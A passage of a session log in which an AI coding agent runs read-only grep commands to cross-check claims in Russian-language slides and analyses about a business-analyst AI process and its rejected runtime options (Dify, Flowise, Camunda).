[INFO]       },\n[2026-09-29T07:55:08.627Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:55:08.627Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:55:08.627Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:55:08.627Z] [INFO]     },\n[2026-09-29T07:55:08.627Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:55:08.627Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:55:08.627Z] [INFO]     \"context_management\": null\n[2026-09-29T07:55:08.627Z] [INFO]   },\n[2026-09-29T07:55:08.627Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:55:08.627Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:08.627Z] [INFO]   \"uuid\": \"09f8fb45-ac5c-4ee1-89ef-d4ea7d985514\",\n[2026-09-29T07:55:08.627Z] [INFO]   \"timestamp\": \"2026-09-29T07:55:08.613Z\",\n[2026-09-29T07:55:08.627Z] [INFO]   \"request_id\": \"req_011CfXNUr2U5whXuFkTPUzX3\",\n[2026-09-29T07:55:08.627Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:55:08.627Z] [INFO]     \"toolu_01UrCcwQiU9QwgVigxuWm2gG\": {\n[2026-09-29T07:55:08.627Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; P=projects/ba-ai-process; S=$P/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\ngrep -n -i 'BCREQ-1074\\\\|\u0442\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\\\\|\u043f\u0435\u0440\u0435\u0434\u0430\u0447\\\\|23 \\\\|\u0434\u043e\u043c\u0435\u043d.*\u043e\u043f\u0435\u0440\u0430\u0446\\\\|1027\\\\|11 \u0441\u0443\u0449\u043d\\\\|7 \u0440\u0430\u0437\u0434\u0435\u043b\\\\|\u0441\u0435\u043c\u044c \u0440\u0430\u0437\u0434\u0435\u043b\\\\|contact-center\\\\|\u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\\\\|\u043a\u0430\u043d\u043e\u043d\u0438\u0447\\\\|\u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442\\\\|\u0441\u0430\u043c \u0440\u0435\u0448\u0430\u0435\u0442\\\\|\u0440\u0435\u0448\u0430\u0435\u0442 \u0441\u0430\u043c\\\\|Dify\\\\|Camunda\\\\|AI Agent\\\\|\u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432' $S | head -40\",\n[2026-09-29T07:55:08.627Z] [INFO]       \"description\": \"Cross-check claims against the slides document\"\n[2026-09-29T07:55:08.627Z] [INFO]     }\n[2026-09-29T07:55:08.627Z] [INFO]   }\n[2026-09-29T07:55:08.627Z] [INFO] }\n[2026-09-29T07:55:10.480Z] [INFO] {\n[2026-09-29T07:55:10.480Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:55:10.480Z] [INFO]   \"message\": {\n[2026-09-29T07:55:10.480Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:55:10.480Z] [INFO]     \"content\": [\n[2026-09-29T07:55:10.480Z] [INFO]       {\n[2026-09-29T07:55:10.480Z] [INFO]         \"tool_use_id\": \"toolu_01UrCcwQiU9QwgVigxuWm2gG\",\n[2026-09-29T07:55:10.480Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:55:10.480Z] [INFO]         \"content\": \"31:  \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430.\\n40:  \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442, \u043f\u0440\u0438\u0433\u043e\u0434\u043d\u044b\u0439 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438.\\n85:- \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c v0.4: 11 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439, 4 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430, 3 \u0433\u0435\u0439\u0442\u0430.\\n120:- \u041e\u0434\u043d\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0442\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438: \u043a\u043b\u0438\u0435\u043d\u0442 \u2192 \u0411\u0410 \u2192 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439\\n126:**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0447 \u00ab\u043a\u043b\u0438\u0435\u043d\u0442 \u2192 \u0411\u0410 \u2192 \u0421\u0410 \u2192\\n191:  \u0440\u0430\u0437\u0434\u0435\u043b\u0451\u043d \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430. \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u0440\u0430\u0432\u043a\u0438\\n223:[\u0440\u0430\u0437\u0431\u043e\u0440 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 1027](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/analysis/experiment-1027-analysis.md),\\n332:3. **\u0413\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u043e \u0437\u043e\u043b\u043e\u0442\u043e\u043c\u0443 \u0448\u0430\u0431\u043b\u043e\u043d\u0443:** \u043e\u0434\u043d\u0430 \u0444\u043e\u0440\u043c\u0430 BCREQ \u0438\u0437 7 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0434\u043b\u044f\\n347:| \u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f, \u0441\u0432\u0435\u0440\u043a\u0430, \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f | \u0432 \u043f\u0438\u043b\u043e\u0442\u0435 \u043d\u0430 \u0410\u0420\u041c (\u0441\u0440\u0435\u0437 `contact-center`) |\\n380:  \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u0411\u0410, \u0432 Cline \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0447\u0438\u0442\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c.\\n413:## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f, \u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430: \u0435\u0433\u043e \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0431\u0435\u0441\u0448\u043e\u0432\u043d\u043e\u0439\\n421:  \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0430 \u043d\u0435 \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437.\\n467:- **\u0427\u0435\u0433\u043e \u043c\u044b \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u043c:** \u043d\u0435 \u0441\u0442\u0440\u043e\u0438\u043c \u044f\u0434\u0440\u043e \u043d\u0430 n8n, Dify \u0438\u043b\u0438 Flowise \u0438 \u043d\u0435\\n503:| \u041e\u0434\u043d\u0430 \u0444\u043e\u0440\u043c\u0430 BCREQ \u0438\u0437 7 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0434\u043b\u044f \u0442\u0440\u0451\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 | [\u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u0444\u043e\u0440\u043c\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md) |\",\n[2026-09-29T07:55:10.480Z] [INFO]         \"is_error\": false\n[2026-09-29T07:55:10.480Z] [INFO]       }\n[2026-09-29T07:55:10.480Z] [INFO]     ]\n[2026-09-29T07:55:10.480Z] [INFO]   },\n[2026-09-29T07:55:10.480Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:55:10.480Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:10.480Z] [INFO]   \"uuid\": \"77d65134-7d6f-41c1-87eb-e9791df09f9c\",\n[2026-09-29T07:55:10.480Z] [INFO]   \"timestamp\": \"2026-09-29T07:55:10.476Z\",\n[2026-09-29T07:55:10.480Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:55:10.480Z] [INFO]     \"stdout\": \"31:  \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430.\\n40:  \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442, \u043f\u0440\u0438\u0433\u043e\u0434\u043d\u044b\u0439 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438.\\n85:- \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c v0.4: 11 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439, 4 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430, 3 \u0433\u0435\u0439\u0442\u0430.\\n120:- \u041e\u0434\u043d\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0442\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438: \u043a\u043b\u0438\u0435\u043d\u0442 \u2192 \u0411\u0410 \u2192 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439\\n126:**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0447 \u00ab\u043a\u043b\u0438\u0435\u043d\u0442 \u2192 \u0411\u0410 \u2192 \u0421\u0410 \u2192\\n191:  \u0440\u0430\u0437\u0434\u0435\u043b\u0451\u043d \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430. \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u0440\u0430\u0432\u043a\u0438\\n223:[\u0440\u0430\u0437\u0431\u043e\u0440 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 1027](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/analysis/experiment-1027-analysis.md),\\n332:3. **\u0413\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u043e \u0437\u043e\u043b\u043e\u0442\u043e\u043c\u0443 \u0448\u0430\u0431\u043b\u043e\u043d\u0443:** \u043e\u0434\u043d\u0430 \u0444\u043e\u0440\u043c\u0430 BCREQ \u0438\u0437 7 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0434\u043b\u044f\\n347:| \u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f, \u0441\u0432\u0435\u0440\u043a\u0430, \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f | \u0432 \u043f\u0438\u043b\u043e\u0442\u0435 \u043d\u0430 \u0410\u0420\u041c (\u0441\u0440\u0435\u0437 `contact-center`) |\\n380:  \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u0411\u0410, \u0432 Cline \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0447\u0438\u0442\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c.\\n413:## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f, \u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430: \u0435\u0433\u043e \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0431\u0435\u0441\u0448\u043e\u0432\u043d\u043e\u0439\\n421:  \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0430 \u043d\u0435 \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437.\\n467:- **\u0427\u0435\u0433\u043e \u043c\u044b \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u043c:** \u043d\u0435 \u0441\u0442\u0440\u043e\u0438\u043c \u044f\u0434\u0440\u043e \u043d\u0430 n8n, Dify \u0438\u043b\u0438 Flowise \u0438 \u043d\u0435\\n503:| \u041e\u0434\u043d\u0430 \u0444\u043e\u0440\u043c\u0430 BCREQ \u0438\u0437 7 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0434\u043b\u044f \u0442\u0440\u0451\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 | [\u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u0444\u043e\u0440\u043c\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md) |\",\n[2026-09-29T07:55:10.480Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:55:10.480Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:55:10.480Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:55:10.480Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:55:10.480Z] [INFO]   }\n[2026-09-29T07:55:10.480Z] [INFO] }\n[2026-09-29T07:55:13.478Z] [INFO] {\n[2026-09-29T07:55:13.478Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:55:13.478Z] [INFO]   \"message\": {\n[2026-09-29T07:55:13.478Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:55:13.478Z] [INFO]     \"id\": \"msg_011CfXNUri8oF7r8PcDPW4o7\",\n[2026-09-29T07:55:13.478Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:55:13.478Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:55:13.478Z] [INFO]     \"content\": [\n[2026-09-29T07:55:13.478Z] [INFO]       {\n[2026-09-29T07:55:13.478Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:55:13.478Z] [INFO]         \"id\": \"toolu_01Ps1ZhfnSaKUt6RzYLAUEXn\",\n[2026-09-29T07:55:13.478Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:55:13.478Z] [INFO]         \"input\": {\n[2026-09-29T07:55:13.478Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; P=projects/ba-ai-process; R=$P/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md; C=$P/docs/analysis/2026-09-29-cline-package-expectation-gap.md\\necho \\\"== reject\\\"; grep -n -i 'Dify\\\\|Camunda\\\\|Flowise' $R | head -8\\necho \\\"== n8n reasons\\\"; grep -n -i 'AI Agent\\\\|\u043f\u0435\u0440\u0435\u0440\u0438\u0441' $R | head -5\\necho \\\"== MCP/secrets\\\"; grep -rn -i 'MCP' $R $C $P/docs/adr/2026-09-adr-019*.md | head -8; grep -rln -i '\u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442' $P --include=*.md | head\\necho \\\"== self-declare\\\"; grep -n -i '\u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\\\\|\u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\\\\|source_read\\\\|\u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\\\\|\u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442' $C | head -8\\necho \\\"== CLI transitions\\\"; grep -n -i '\u043d\u0430\u0431\u0438\u0440\u0430\\\\|\u0432\u0432\u043e\u0434\u0438\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\\\\|\u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u0430\u0432\u0438\u043b' $R | head -5\\necho \\\"== ADR-017\\\"; grep -n -i 'Feedback' $P/decisions/2026-09-adr-017*.md | head -5\\necho \\\"== forensics classes\\\"; grep -n -i '\u0447\u0435\u0442\u044b\u0440\\\\|\u043a\u043b\u0430\u0441\u0441.* \u043e\u0442\u043a\u0430\u0437' $P/docs/analysis/2026-09-23-requirements-run-forensics.md | head -8\\necho \\\"== golden 7\\\"; grep -n -i 'API\\\\|\u043a\u0430\u0431\u0438\u043d\u0435\u0442' $P/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md | head -8\",\n[2026-09-29T07:55:13.478Z] [INFO]           \"description\": \"Verify remaining claims in source analyses\"\n[2026-09-29T07:55:13.478Z] [INFO]         },\n[2026-09-29T07:55:13.478Z] [INFO]         \"caller\": {\n[2026-09-29T07:55:13.478Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:55:13.478Z] [INFO]         }\n[2026-09-29T07:55:13.478Z] [INFO]       }\n[2026-09-29T07:55:13.478Z] [INFO]     ],\n[2026-09-29T07:55:13.478Z] [INFO]     \"container\": null,\n[2026-09-29T07:55:13.478Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:55:13.478Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:55:13.478Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:55:13.478Z] [INFO]     \"usage\": {\n[2026-09-29T07:55:13.478Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:55:13.478Z] [INFO]       \"cache_creation_input_tokens\": 5637,\n[2026-09-29T07:55:13.478Z] [INFO]       \"cache_read_input_tokens\": 35966,\n[2026-09-29T07:55:13.478Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:55:13.478Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:55:13.478Z] [INFO]         \"ephemeral_1h_input_tokens\": 5637\n[2026-09-29T07:55:13.478Z] [INFO]       },\n[2026-09-29T07:55:13.478Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:55:13.478Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:55:13.478Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:55:13.478Z] [INFO]     },\n[2026-09-29T07:55:13.478Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:55:13.478Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:55:13.478Z] [INFO]     \"context_management\": null\n[2026-09-29T07:55:13.478Z] [INFO]   },\n[2026-09-29T07:55:13.478Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:55:13.478Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:13.478Z] [INFO]   \"uuid\": \"48d2256c-99d0-4ab0-91c4-9464cba4e4eb\",\n[2026-09-29T07:55:13.478Z] [INFO]   \"timestamp\": \"2026-09-29T07:55:13.462Z\",\n[2026-09-29T07:55:13.478Z] [INFO]   \"request_id\": \"req_011CfXNUr2U5whXuFkTPUzX3\",\n[2026-09-29T07:55:13.478Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:55:13.478Z] [INFO]     \"toolu_01Ps1ZhfnSaKUt6RzYLAUEXn\": {\n[2026-09-29T07:55:13.478Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; P=projects/ba-ai-process; R=$P/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md; C=$P/docs/analysis/2026-09-29-cline-package-expectation-gap.md\\necho \\\"== reject\\\"; grep -n -i 'Dify\\\\|Camunda\\\\|Flowise' $R | head -8\\necho \\\"== n8n reasons\\\"; grep -n -i 'AI Agent\\\\|\u043f\u0435\u0440\u0435\u0440\u0438\u0441' $R | head -5\\necho \\\"== MCP/secrets\\\"; grep -rn -i 'MCP' $R $C $P/docs/adr/2026-09-adr-019*.md | head -8; grep -rln -i '\u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442' $P --include=*.md | head\\necho \\\"== self-declare\\\"; grep -n -i '\u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\\\\|\u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\\\\|source_read\\\\|\u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\\\\|\u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442' $C | head -8\\necho \\\"== CLI transitions\\\"; grep -n -i '\u043d\u0430\u0431\u0438\u0440\u0430\\\\|\u0432\u0432\u043e\u0434\u0438\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\\\\|\u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u0430\u0432\u0438\u043b' $R | head -5\\necho \\\"== ADR-017\\\"; grep -n -i 'Feedback' $P/decisions/2026-09-adr-017*.md | head -5\\necho \\\"== forensics classes\\\"; grep -n -i '\u0447\u0435\u0442\u044b\u0440\\\\|\u043a\u043b\u0430\u0441\u0441.* \u043e\u0442\u043a\u0430\u0437' $P/docs/analysis/2026-09-23-requirements-run-forensics.md | head -8\\necho \\\"== golden 7\\\"; grep -n -i 'API\\\\|\u043a\u0430\u0431\u0438\u043d\u0435\u0442' $P/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md | head -8\",\n[2026-09-29T07:55:13.478Z] [INFO]       \"description\": \"Verify remaining claims in source analyses\"\n[2026-09-29T07:55:13.478Z] [INFO]     }\n[2026-09-29T07:55:13.478Z] [INFO]   }\n[2026-09-29T07:55:13.478Z] [INFO] }\n[2026-09-29T07:55:15.403Z] [INFO] {\n[2026-09-29T07:55:15.403Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:55:15.403Z] [INFO]   \"message\": {\n[2026-09-29T07:55:15.403Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:55:15.403Z] [INFO]     \"content\": [\n[2026-09-29T07:55:15.403Z] [INFO]       {\n[2026-09-29T07:55:15.403Z] [INFO]         \"tool_use_id\": \"toolu_01Ps1ZhfnSaKUt6RzYLAUEXn\",\n[2026-09-29T07:55:15.403Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:55:15.403Z] [INFO]         \"content\": \"== reject\\n84:  \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430: n8n, LangGraph, Temporal, Dify, Flowise,\\n85:  Windmill, Kestra, Prefect, Camunda, Operaton, \u0447\u0430\u0442-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u044b\\n226:| \u0412-8 | Dify \u0438\u043b\u0438 Flowise | \u25cb | \u25cf | \u25cf | \u25cf | \u25d0 | \u25d0 | \u25cb | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442 |\\n228:| \u0412-10 | BPMN: Camunda 8 \u0438\u043b\u0438 Operaton | \u25cb | \u25cf | \u25d0 | \u25d0 | \u25cb | \u25d0 | \u25cb | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442 |\\n283:| \u0413-52 | Low-code \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u0441 \u0418\u0418 (Dify, Flowise) \u043f\u043e\u0434\u0445\u043e\u0434\u044f\u0442 \u043a\u0430\u043a \u044f\u0434\u0440\u043e | Dify \u2014 \u0438\u0437\u043c\u0435\u043d\u0451\u043d\u043d\u0430\u044f Apache \u0441 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f\u043c\u0438 ([LICENSE](https://github.com/langgenius/dify/blob/main/LICENSE)), \u043a\u043e\u0434 \u0432 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u0435 \u0431\u0435\u0437 \u0441\u0435\u0442\u0438 \u0438 \u0444\u0430\u0439\u043b\u043e\u0432 ([docs](https://docs.dify.ai/en/use-dify/nodes/code)) \u2014 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b Source \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c; Flowise \u2014 Node.js ([LICENSE](https://github.com/FlowiseAI/Flowise/blob/main/LICENSE.md)); \u0432 \u043e\u0431\u043e\u0438\u0445 \u0433\u0440\u0430\u0444 \u0440\u0438\u0441\u0443\u0435\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0412\u044b\u0431\u043e\u0440.** \u041d\u0435 \u0431\u0440\u0430\u0442\u044c \u043a\u0430\u043a \u044f\u0434\u0440\u043e; \u043f\u043e\u0440\u043e\u0433 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u2014 \u0432\u0442\u043e\u0440\u0430\u044f \u043a\u043e\u043f\u0438\u044f \u0433\u0440\u0430\u0444\u0430 |\\n284:| \u0413-53 | BPMN-\u0434\u0432\u0438\u0436\u043e\u043a \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0411\u0410 | Camunda 8 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u0443\u044e \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u044e \u0441 \u0432\u0435\u0440\u0441\u0438\u0438 8.6 ([Camunda](https://camunda.com/blog/2024/04/licensing-update-camunda-8-self-managed/)); Operaton \u2014 Apache-2.0 ([\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439](https://github.com/operaton/operaton)), \u043d\u043e \u044d\u0442\u043e Java \u0438 BPMN: \u0433\u0440\u0430\u0444 \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432 BPMN, \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0440\u0430\u0431\u043e\u0442\u043d\u0438\u043a\u0438 | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0412\u044b\u0431\u043e\u0440.** \u041d\u0435 \u0431\u0440\u0430\u0442\u044c; \u0432\u0435\u0440\u043d\u0443\u0442\u044c\u0441\u044f, \u0442\u043e\u043b\u044c\u043a\u043e \u0435\u0441\u043b\u0438 \u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0443\u0436\u0435 \u0435\u0441\u0442\u044c BPMN-\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 |\\n382:| Dify, Flowise (\u0412-8) | \u041b\u0438\u0446\u0435\u043d\u0437\u0438\u044f Dify, \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u0430 \u0431\u0435\u0437 \u0444\u0430\u0439\u043b\u043e\u0432, Node.js \u0443 Flowise, \u0432\u0442\u043e\u0440\u0430\u044f \u043a\u043e\u043f\u0438\u044f \u0433\u0440\u0430\u0444\u0430 | [\u0413-52](#\u0433-52) |\\n384:| Camunda 8, Operaton (\u0412-10) | 